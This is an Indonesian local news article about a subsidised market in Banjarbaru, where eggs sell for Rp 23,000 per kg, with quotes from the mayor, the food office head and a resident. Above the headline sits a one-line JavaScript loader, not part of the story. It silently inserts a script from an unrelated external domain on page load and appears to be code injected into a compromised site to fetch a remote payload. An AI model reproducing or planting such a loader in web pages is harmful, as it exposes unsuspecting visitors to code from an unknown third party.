(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Gelaran Pasar Murah DKP3 Banjarbaru, Telur Dijual Hanya Rp 23 Ribu per Kg

KANALKALIMANTAN.COM, BANJARBARU – Dinas Ketahanan Pangan Pertanian dan Perikanan (DKP3) Banjarbaru menggelar pasar murah di halaman kantor menekan inflasi yang terjadi di Kota Banjarbaru, Selasa (14/2/2023) pagi.

Pasar murah yang digelar DKP3 Banjarbaru ini menyediakan hasil pertanian, perkebunan dan peternakan di Banjarbaru dengan harganya lebih miring dari harga pasar.

Wali Kota Banjarbaru, Aditya Mufti Ariffin mengatakan, adanya pasar murah di DKP3 Banjarbaru ini dapat menangani inflasi di Kota Banjarbaru.

“Ada beberapa komoditi yang menjadi penyumbang angka inflasi di Banjarbaru, yakni daging ayam, daging sapi, dan telur,” ujarnya.

Disamping 3 komoditi tersebut, kata Aditya, pasar murah di DKP3 Banjarbaru juga menjual semua komoditi hasil pangan dan olahan warga Kota Banjarbaru.

“Selanjutnya pasar murah akan diadakan di lima kecamatan, semoga dapat dilaksanakan di seluruh keluran yang ada di Banjarbaru,” ungkapnya.

Disamping pasar murah, Aditya menyerahkan 5,1 ton beras bagi warga terdampak banjir, angin puting beliung dan rawan pangan kepada 510 warga.

Antusias warga mengerumuni stand-stand pasar mudah yang diselenggarakan di halaman DKP3 Banjarbaru, beberapa warga langsung membeli kebutuhan pokok sepeti daging, telur dan sayuran.

Sementara itu, Kepala DKP3 Banjarbaru Abu Yazid Bustami mengatakan, komoditi yang dijual dengan harga miring ini dikarenakan pihaknya langsung mengambil dari pengepul maupun peternak langsung. Untuk beras DKP3 Banjarbaru langsung dari Bulog.

“Yang berjualan langsung dari peternak maupun petaninya,” ujarnya.

Lebih jauh kata Abu Yazid, pasar mudah ini akan digelar di setiap kecamatan guna mengurangi dampak inflasi di Banjarbaru dan membantu masyarakat.

“Insyaallah, pasar murah akan diadakan sebelum Ramadhan bisa dilaksanakan,” ungkapnya.

Di tempat yang sama salah seorang warga, Hikmah mengaku dirinya datang hujan-hujanan untuk mendapatkan manfaat dari pasar murah ini.

“Karena di sini harganya lebih murah dari daerah saya,” ujar warga Landasan Ulin Selatan ini.

Diungkapkannya, dari harga telur jauh lebih murah, di daerah hampir tembus Rp 30 ribu ke atas. Sedangkan, telur yang dijual di pasar murah ini hanya Rp 23 ribu per kilogram.

Dirinya berharap pasar murah digelar terus guna membantu masyarakat Kota Banjarbaru. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie